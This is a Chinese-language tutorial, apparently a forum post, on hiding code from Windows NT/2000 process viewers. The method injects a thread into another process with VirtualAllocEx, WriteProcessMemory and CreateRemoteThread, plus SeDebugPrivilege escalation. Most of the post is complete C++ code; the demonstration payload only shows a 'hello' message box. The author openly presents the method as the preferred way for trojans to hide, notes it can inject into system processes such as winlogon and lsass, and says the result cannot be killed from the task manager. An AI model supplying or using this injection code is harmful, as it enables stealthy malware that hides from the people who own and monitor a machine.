WinNT & Win2K下实现进程的完全隐藏

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    面对众多的计算机高手,考虑许久,终于还是决定出来献丑一下,文章内尽量使用最简洁易懂的词汇及例子来介绍,希望能够对一些初学与进阶者有所帮助。
关于进程的隐藏,98下的例子数不胜数。WinNT/Win2K下的隐藏方法,西祠的高手shotgun在去年的6月就已经在网上发布出实例《揭开木马的神秘面纱<四>》 ,我也多次拜读他的文章,对他的计算机水平及热心帮助朋友的作风十分敬佩。这里也可算是对shotgun的文章的补充与深入介绍吧,好了,闲话少说。
在WinNT下"真正隐藏进程"这一说法,可以讲是根本不可能实现,只要我们的程序是以进程内核的形式运行,都是不可能逃离CTRL+ALT+DEL的法眼。那么奇怪了,这岂不是与我们的标题《WinNT & Win2K下实现进程的完全隐藏》相矛盾吗?是的,实际上应该是:以非进程方式执行目标代码,而逃避进程查看器的检查,从而达到"进程隐藏"的目的。
我们这里用的,是在宿主进程中,以线程的方式执行我们的代码。实现起来非常简单。首先,我们先建立一个不执行任何语句的线程
DWORD stdcall ThreadProc(LPVOID *lpVoid){
return 0;
}
然后,将线程代码拷备至宿主进程所能够执行的任何地方(即页面属性为PAGGE_EXECUTE_READWRITE),如:共享内存影射区、宿主进程内。这里我们选择宿主进程,拷备的时侯,我们需要先在宿主进程中使用VirtualAllocEx函数申请一段内存,然后再使用WriteProcessMemory将线程体写入宿主进程中。
以上工作完成后,我们便可CreateRemoteThread函数激活其执行。下面给出一个完整的例子
//远程线程执行体
DWORD __stdcall ThreadProc (void *lpPara){
return 0;
}
int main(int argc, char* argv[]){
const DWORD THREADSIZE=1024*4;//暂定线程体大小为4K,实际上没这么大,稍后我将会介绍
DWORD byte_write;
//获得指定进程ID句柄,并设其权限为PROCESS_ALL_ACCESS,992是宿进程的ID号,获取ID号的方法这里我就不多讲了
HANDLE hWnd = ::OpenProcess (PROCESS_ALL_ACCESS,FALSE,992);
if(!hWnd)return 0;
void *pRemoteThread =::VirtualAllocEx(hWnd,0,THREADSIZE,MEM_COMMIT| MEM_RESERVE,PAGE_EXECUTE_READWRITE);//申请
if(!pRemoteThread)return 0;
if(!::WriteProcessMemory(hWnd,pRemoteThread,&ThreadProc,THREADSIZE,0))//写入进程
return 0;
//启动线程
HANDLE hThread = ::CreateRemoteThread (hWnd ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,NULL,0,&byte_write);
if(!hThread){ //还有内存分配未释放
return 0;
}
return 0;
}
到这里,对于隐藏的方法就算告一段落,相信看过的朋友对这个思路有个非常明确的概念了吧。

在理解隐藏的方法后,我们着重开始写线程的执行部分了。如下:
DWORD __stdcall ThreadProc(void *lpPara){
MessageBox(NULL,"hello","hello",0);
return 0;
}
编译执行后,你会发现出现一个非法操作错误,为什么呢?在我们以段页式内存管理的win2K操作系统中,编译时会把所有的常量编译在PE文件的.data节中,而代码段则在.text中,所以,我们拷备到宿主进程中的代码是在.text中的代码,MessageBox(NULL,(char *)指针,p,0);所指向的地址是本进程的内存虚拟地址。而在宿主进程中是无法访问的。解决的方法很简单,按旧照搬的将"hello"也拷备到目标进程中,然后再引用。同理,MessageBox函数地址编译时,也是保存在.Import中,写过Win2k病毒的朋友都知道,所有常量与函数入口地址都需在代码段定义与得出,我们这里也与他有点类似。言归正传,同样情况我们也把函数的入口地址一起写入目标进程中。//先定义参数结构
typedef struct _RemotePara{//参数结构
char pMessageBox[12];
DWORD dwMessageBox;
}RemotePara;
//付值
RemotePara myRemotePara;
::ZeroMemory(&myRemotePara,sizeof(RemotePara));
HINSTANCE hUser32 = ::LoadLibrary ("user32.dll");
myRemotePara.dwMessageBox =(DWORD) ::GetProcAddress (hUser32 , "MessageBoxA");
strcat(myRemotePara.pMessageBox,"hello\0");
//写进目标进程
RemotePara *pRemotePara =(RemotePara *) ::VirtualAllocEx (hWnd ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);//注意申请空间时的页面保护属性
if(!pRemotePara)return 0;
if(!::WriteProcessMemory (hWnd ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0;
//启动进将参数传递进入
HANDLE hThread = ::CreateRemoteThread (hWnd ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&byte_write);
if(!hThread){
return 0;
}好了,就这么简单,下在给出一个弹出一个MessageBox的实例:// RemoteThread.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"

typedef struct _RemotePara{//参数结构
char pMessageBox[12];
DWORD dwMessageBox;
}RemotePara;
//远程线程
DWORD __stdcall ThreadProc (RemotePara *lpPara){
typedef int (__stdcall *MMessageBoxA)(HWND,LPCTSTR,LPCTSTR,DWORD);//定义MessageBox函数
MMessageBoxA myMessageBoxA;
myMessageBoxA =(MMessageBoxA) lpPara->dwMessageBox ;//得到函数入口地址
myMessageBoxA(NULL,lpPara->pMessageBox ,lpPara->pMessageBox,0);//call
return 0;
}
void EnableDebugPriv();//提升应用级调试权限

int main(int argc, char* argv[]){
const DWORD THREADSIZE=1024*4;
DWORD byte_write;
EnableDebugPriv();//提升权限
HANDLE hWnd = ::OpenProcess (PROCESS_ALL_ACCESS,FALSE,992);
if(!hWnd)return 0;
void *pRemoteThread =::VirtualAllocEx(hWnd,0,THREADSIZE,MEM_COMMIT| MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(!pRemoteThread)return 0;
if(!::WriteProcessMemory(hWnd,pRemoteThread,&ThreadProc,THREADSIZE,0))
return 0;

//再付值
RemotePara myRemotePara;
::ZeroMemory(&myRemotePara,sizeof(RemotePara));
HINSTANCE hUser32 = ::LoadLibrary ("user32.dll");
myRemotePara.dwMessageBox =(DWORD) ::GetProcAddress (hUser32 , "MessageBoxA");
strcat(myRemotePara.pMessageBox,"hello\0");
//写进目标进程
RemotePara *pRemotePara =(RemotePara *) ::VirtualAllocEx (hWnd ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);//注意申请空间时的页面属性
if(!pRemotePara)return 0;
if(!::WriteProcessMemory (hWnd ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0;

//启动线程
HANDLE hThread = ::CreateRemoteThread (hWnd ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&byte_write);
if(!hThread){
return 0;
}
return 0;
}


//提升权限
void EnableDebugPriv( void )
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;

if ( ! OpenProcessToken( GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
return;
if ( ! LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) ){
CloseHandle( hToken );
return;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if ( ! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) )
CloseHandle( hToken );
}

好了,程序编译执行后会在进程号为992的进程中创建一线程,弹出hello对话框。是不是非常简单呢!
这里有几个地方需要注意的:
1、远程线程在宿主进程中申请空间时,空间大小的确定了是我一直无法解决的问题。我曾使用两个贴近一起的线程,以线程间的距离大小,并加上参数大小,作为申请空间时,仍然会出现非法操作,如下:
static void StartThread (LPVOID *lpPara){
return ;
}
static void EndThread(LPVOID *lpPara){
return;
}
然后使用DWORD dwLenght = (DWORD)((char *)&StartThread - (char *)&EndThread);//得到StartThread线程代码长度,
dwLenght += sizeof(ThreadPara);
仍会出现非法操作让我很迷惑。在win2k中,线程的默认堆栈的页大小是4KB,这里我在为线程申请内存时,申请的大小暂时使用一个常数,始终为4KB的倍数,选取时尽量取大,在线程可成功运行后,再一点点改小。办法是笨了点,如这里的朋友有更好的方法,请不吝赐教。
2、什么时侯,什么参数是需要从外部传递进来的呢?我这里并没有一个十分有力的答案,我的理解是:PE文件中除了.text节以外的所有节,均需使用外部参数传递到线程中使用,如:.rsrc、.data、rdata等其他的15个节。在我们实际编写的过程中,初学者并不知道我们的代码会编译在什么地方,这个时侯,我们可以在运行的时侯ALT + 8(VC中快捷键)反编译过来,一般有lea eax p、push offset p等取地址语句,这个时侯,我们大都需要以参数传递进来。所以,大家在编写的时侯,一定要注意参数,因为线程的执行是在别的进程中,一个普通权限的应用程序是无法跨越进程来调试其他进程的。包括VC,也无法调试我们的远程线程,熟悉汇编的朋友,可用softice调试,这需要一定的功底。
3、权限,这一点很重要,shotgun在这方面也介绍得很清楚了,网上相关的文章也很多,我就不多说了。文中的EnableDebugPriv函数可使本进程在internet、winLogin、lsass等进程中创建线程。win2k的进程查看器无法将其杀除。
4、进程ID获方法较多,如:EnumProcesses、CreateToolhelp32Snapshot/Process32First/Process32Next、NtQuerySystemInformation等函数均可,为减少代码,例子中的进程ID是直接在进程查看器中得到的。最后,我们再回到shotgun的文章中,这时侯我们因已经非常清楚他的方法中为何会多出一个DLL文件了。远程线程的线程体本身就是LoadLibrary函数,即,线程的入口地址就是LoadLibrary的入口地址,这是系统Kernel32.dll中的函数,任何进程都可调用。线程中使用LoadLibrary函数将我们的DLL加载到系统空间内,线程一执行,我们的DLL就开始工作了。线程执行结束后,别忘了使用VirtualFreeEx将其申请的内存区释放。
两种方法一比较,很明显:
1、在使用DLL时,创建十分简单,也不需要太多的操作系统与内存操作知识,并可直接调试DLL文件。实现起来比较简单。
2、直接拷备到进程中的方法稍为复杂一点,一不小心,很容易出现非法操作。当然,也去掉那了个让人讨厌DLL文件。程序执行后,很难找到他的来源地,是除了病毒以外的木马隐藏的首选方法。这里我大量参考了nongmin.cn(农民)程序的源码,他的程序对我的帮助非常大。虽然未有谋面,但对他的计算机水平与作为十分的敬佩,并尊从他的作风,以后我所写的所有非商业软件或小代码,均以源码形式出现。这里写得有点乱,希望对大家能够有所帮助,愿与所有爱好计算机,从事计算机工作的朋友们共勉。